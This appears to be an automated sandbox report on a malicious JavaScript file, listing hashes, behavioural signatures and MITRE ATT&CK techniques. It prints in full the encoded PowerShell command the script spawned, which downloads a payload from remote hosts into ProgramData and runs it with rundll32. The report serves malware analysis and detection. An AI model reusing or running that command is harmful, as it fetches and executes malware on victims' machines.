5b1e666700f3704c7ed56099c90674d000685b2a2d43efc98397b003ddfd7d27

General

Target

db67d41f97d4262e6d178498970cfb93d65d643bc1023ba0e1c34f87d81e92cd.js
Size

326KB
MD5

8cf4a35e0a4ad2c2b198172b1353274c
SHA1

dae562ca885a48566f0dc8ddab96a501ffaef032
SHA256

db67d41f97d4262e6d178498970cfb93d65d643bc1023ba0e1c34f87d81e92cd
SHA512

27b0fa44f890558d0ba4119604ffdb8472b93aefe0188d801f31796875270a3c809223402f23499a9f21fe15aee9615c8da1fddc2187a52970340d175c604c16
SSDEEP

6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbuffmFllkMGBEMmhS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/yga

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
9	2580	powershell.exe
41	2580	powershell.exe
52	2580	powershell.exe
61	2580	powershell.exe
63	2580	powershell.exe
64	2580	powershell.exe
65	2580	powershell.exe
66	2580	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2580	powershell.exe
2580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 2580	4456	wscript.exe	85
PID 4456 wrote to memory of 2580	4456	wscript.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\db67d41f97d4262e6d178498970cfb93d65d643bc1023ba0e1c34f87d81e92cd.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABIAGEAdgBlAG4AdwBhAHIAZABFAHgAdAByAGEAYwB1AHIAcgBpAGMAdQBsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAQQBCAHAAQQBHADQAQQBZAHcAQgBvAEEARwBVAEEAYwBnAEEAdQBBAEcATQBBAGIAdwBCAHUAQQBIAFEAQQBjAGcAQgBoAEEARwBNAEEAZABBAEIAdgBBAEgASQBBAGMAdwBBAD0AIgA7ACQAYgBpAG8AcwBjAG8AcABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBnAEEAWgBRAEIAdABBAEcAOABBAGQAQQBCAG8AQQBHADgAQQBjAGcAQgBoAEEASABnAEEATABnAEIAagBBAEcARQBBAFoAZwBCAGwAQQBBAD0APQAiADsAJABvAGIAdgBvAGwAdgBlAFcAaABpAGcAZwBhAG0AbwByAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAZwBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQB1AEEARABJAEEATQBRAEEAMwBBAEMAOABBAE4AdwBCAFUAQQBFAFUAQQBaAFEAQgBxAEEAQwA4AEEAZABRAEEAPQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE0AUQBBAHUAQQBEAEUAQQBPAEEAQQA0AEEAQwA0AEEATQBnAEEAeABBAEQAYwBBAEwAZwBBADUAQQBEAGcAQQBMAHcAQgBUAEEARgBnAEEAUQBRAEEAdgBBAEgAVQBBAE0AUQBCAFkAQQBFAEUAQQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE0AUQBBAHUAQQBEAEkAQQBOAFEAQQB4AEEAQwA0AEEATgBBAEEAMABBAEMANABBAE4AQQBBADMAQQBDADgAQQBaAHcAQQA0AEEARQBzAEEAWgBBAEEAMgBBAEMAOABBAE8AQQBBAD0AaQBPAEsAWgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB5AEEAQwA0AEEATQBnAEEAdwBBAEQAYwBBAEwAZwBBAHgAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATQBnAEEAMQBBAEMAOABBAFYAUQBCAHIAQQBGAGcAQQBPAFEAQgBKAEEAQwA4AEEAZQBBAEIASgBBAEEAPQA9AGkATwBLAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYgBRAEIAcABBAEcAVQBBAFkAUQBCAHkAQQBHAHcAQQBlAFEAQQB1AEEASABNAEEAYgB3AEIANQBBAEMAOABBAFcAQQBCAEcAQQBFAFkAQQBSAHcAQQB2AEEASABnAEEAZQBBAEEAPQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AdwBBADUAQQBDADQAQQBPAEEAQQAxAEEAQwA0AEEATgB3AEEAMABBAEMANABBAE0AZwBBAHgAQQBEAFkAQQBMAHcAQgBUAEEARQBRAEEAYwBBAEEAdgBBAEgASQBBAGEAZwBCAFAAQQBFAGsAQQBWAEEAQQA9AGkATwBLAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE4AUQBBAHYAQQBHAEkAQQBNAGcAQgBXAEEAQwA4AEEATgBRAEIANABBAEQATQBBAFMAQQBCAFQAQQBBAD0APQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBADQAQQBEAEEAQQBMAHcAQgB1AEEASABZAEEAUQBnAEIAQwBBAEgAQQBBAFYAdwBCAFoAQQBDADgAQQBTAHcAQgBaAEEASABVAEEAYgBnAEIATwBBAEYAWQBBAGkATwBLAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEANQBBAEMAOABBAFIAQQBCADYAQQBHADQAQQBXAEEAQgAwAEEAQwA4AEEATgBBAEIAaABBAEYAQQBBAGEAQQBCAFUAQQBEAGcAQQBUAHcAQQA9ACIAOwAkAHUAbgBkAGUAYwBlAHAAdABpAHYAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbgBBAEgAVQBBAFoAZwBCAG0AQQBHAEUAQQBkAHcAQgB6AEEARgBVAEEAYwB3AEIAbwBBAEcAVQBBAGMAZwBCAHAAQQBHAEUAQQBiAGcAQQB1AEEARwBZAEEAZABRAEIAMABBAEcASQBBAGIAdwBCAHMAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABBAHQAdABlAHIAeQBPAHMAYwBpAGwAbABvAGcAcgBhAHAAaABpAGUAcwAgAGkAbgAgACQAbwBiAHYAbwBsAHYAZQBXAGgAaQBnAGcAYQBtAG8AcgBlACAALQBzAHAAbABpAHQAIAAiAGkATwBLAFoAIgApACAAewB0AHIAeQAgAHsAJABQAHIAbwBzAGMAcgBpAHAAdABpAG8AbgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAWQBRAEIAdQBBAEcAUQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQgBUAEEARwBFAEEAYwBnAEIAagBBAEcAOABBAGIAUQBCAGgAQQBIAFEAQQBiAHcAQgAxAEEASABNAEEATABnAEIAMABBAEcAOABBAGQAdwBCAHUAQQBBAD0APQBwAGkARQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAGsAQQBaAHcAQgAzAEEARwBrAEEAWgB3AEIAbgBBAEcAVQBBAFoAQQBCAEQAQQBHADgAQQBkAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEgATQBBAGQAUQBCAHAAQQBIAFEAQQBMAGcAQgB5AEEARwBVAEEAZABnAEIAcABBAEcAVQBBAGQAdwBBAD0AIgA7ACQAaAB5AHAAZQByAGIAbwBsAG8AaQBkAE4AbwBuAHYAYQByAGkAYQBiAGwAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADUAQQBEAGMAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQAZwBBAE4AUQBBAD0AIgA7ACQAZQB2AGUAbgB0AHUAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEASABJAEEAWgBRAEIAcABBAEcANABBAGQAQQBCAGwAQQBHAHcAQQBiAEEAQgBwAEEARwBjAEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBDADQAQQBZAHcAQgBoAEEASABNAEEAYQBRAEIAdQBBAEcAOABBAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAWQBRAEIAdQBBAEcATQBBAGEAUQBCAHcAQQBHAHcAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEUAMABBAFoAUQBCADAAQQBHAEUAQQBiAEEAQgBoAEEARwA0AEEAWgB3AEIAMQBBAEcARQBBAFoAdwBCAGwAQQBDADQAQQBZAHcAQgBzAEEARwBrAEEAWQB3AEIAcgBBAEEAPQA9AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABFAEEATwBBAEEAdQBBAEQARQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABFAEEATABnAEEANQBBAEQAWQBBAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAZABBAEIAeQBBAEcAawBBAGEAdwBCAHAAQQBHADQAQQBaAHcAQQB1AEEASABNAEEAYQB3AEIAcABBAEEAPQA9ACIAOwAkAGkAbgB0AHIAYQBjAGUAbABsAHUAbABhAHIAVgBlAGMAdABvAHIAYwBhAHIAZABpAG8AZwByAGEAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABlAHIAeQBPAHMAYwBpAGwAbABvAGcAcgBhAHAAaABpAGUAcwApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGkAbgB0AHIAYQBjAGUAbABsAHUAbABhAHIAVgBlAGMAdABvAHIAYwBhAHIAZABpAG8AZwByAGEAbQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABiAHIAYQBjAGgAeQBkAG8AZAByAG8AbQBvAHUAcwBTAG8AYQBwAHcAbwBvAGQALgB1AG4AYwBvAG4AYwBvAHIAZABhAG4AdABsAHkAUwBhAHIAYwBvAHQAaABlAGMAYQA7ACQAUgBhAG0AbQBpAGUAcwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBOAEEARwBVAEEAWQB3AEIAbwBBAEcARQBBAGIAZwBCADAAQQBGAEkAQQBhAEEAQgA1AEEASABRAEEAYQBBAEIAdABBAEcAawBBAFkAdwBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAYgByAGEAYwBoAHkAZABvAGQAcgBvAG0AbwB1AHMAUwBvAGEAcAB3AG8AbwBkAC4AdQBuAGMAbwBuAGMAbwByAGQAYQBuAHQAbAB5AFMAYQByAGMAbwB0AGgAZQBjAGEAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADcANgA4ADIANAApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBnAEIAeQBBAEcARQBBAFkAdwBCAG8AQQBIAGsAQQBaAEEAQgB2AEEARwBRAEEAYwBnAEIAdgBBAEcAMABBAGIAdwBCADEAQQBIAE0AQQBVAHcAQgB2AEEARwBFAEEAYwBBAEIAMwBBAEcAOABBAGIAdwBCAGsAQQBDADQAQQBkAFEAQgB1AEEARwBNAEEAYgB3AEIAdQBBAEcATQBBAGIAdwBCAHkAQQBHAFEAQQBZAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEYATQBBAFkAUQBCAHkAQQBHAE0AQQBiAHcAQgAwAEEARwBnAEEAWgBRAEIAagBBAEcARQBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAQwByAG8AcwBzAGIAYQByAHMAWQBhAHoAYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAGcAQQB1AEEARABFAEEATgBnAEEAMwBBAEMANABBAE4AQQBBADMAQQBDADQAQQBNAFEAQQB5AEEARABZAEEAVQBNAHgAYQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBIAEkAQQBaAFEAQgB1AEEARwBFAEEAYgBRAEIAbABBAEgATQBBAFEAUQBCAHQAQQBIAEEAQQBaAFEAQgBzAEEARwBrAEEAWgBBAEIAaABBAEcATQBBAFoAUQBCAGgAQQBHAFUAQQBMAGcAQgBvAEEARwBVAEEAYgBBAEIAdwBBAEEAPQA9AFUATQB4AGEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBNAEEAYQBBAEIAcABBAEcAVQBBAFoAZwBCAHMAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAWQBRAEIAeQBBAEcAawBBAFoAZwBCAG0AQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAWgBBAEIAaABBAEgAUQBBAGEAUQBCAHUAQQBHAGMAQQAiADsAJABQAGUAcgBpAHAAZQB0AGkAYQBIAG8AbQBvAHQAaABlAHIAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAOABBAGIAZwBCAHoAQQBIAFEAQQBjAGcAQgAxAEEARwBNAEEAZABBAEIAcABBAEgAWQBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEAQwA0AEEAWgBBAEIAbABBAEcANABBAGQAQQBCAGgAQQBHAHcAQQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AUQBBAHgAQQBDADQAQQBNAFEAQQB3AEEARABVAEEATABnAEEAMABBAEQAVQBBAEwAZwBBAHkAQQBEAEUAQQBOAEEAQQA9AHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABBAEEATABnAEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMwBBAEQAWQBBACIAOwAkAFAAcgBvAGQAcAByAG8AbwBmACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBZAEEAYgB3AEIAeQBBAEcAVQBBAGMAdwBCAHcAQQBHAFUAQQBZAFEAQgByAEEARwBVAEEAYwBnAEIAVgBBAEcANABBAFoAdwBCAGgAQQBIAEEAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAMABBAEcAawBBAFoAUQBCAHUAQQBHAFEAQQBZAFEAQQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjx4xios.0fw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2580-133-0x0000028453DF0000-0x0000028453E12000-memory.dmp

Filesize
136KB

Download
memory/2580-143-0x0000028453E30000-0x0000028453E40000-memory.dmp

Filesize
64KB

Download
memory/2580-144-0x0000028453E30000-0x0000028453E40000-memory.dmp

Filesize
64KB

Download
memory/2580-145-0x0000028453E30000-0x0000028453E40000-memory.dmp

Filesize
64KB

Download
memory/2580-146-0x0000028453E30000-0x0000028453E40000-memory.dmp

Filesize
64KB

Download
memory/2580-147-0x0000028453E30000-0x0000028453E40000-memory.dmp

Filesize
64KB

Download
memory/2580-148-0x0000028453E30000-0x0000028453E40000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing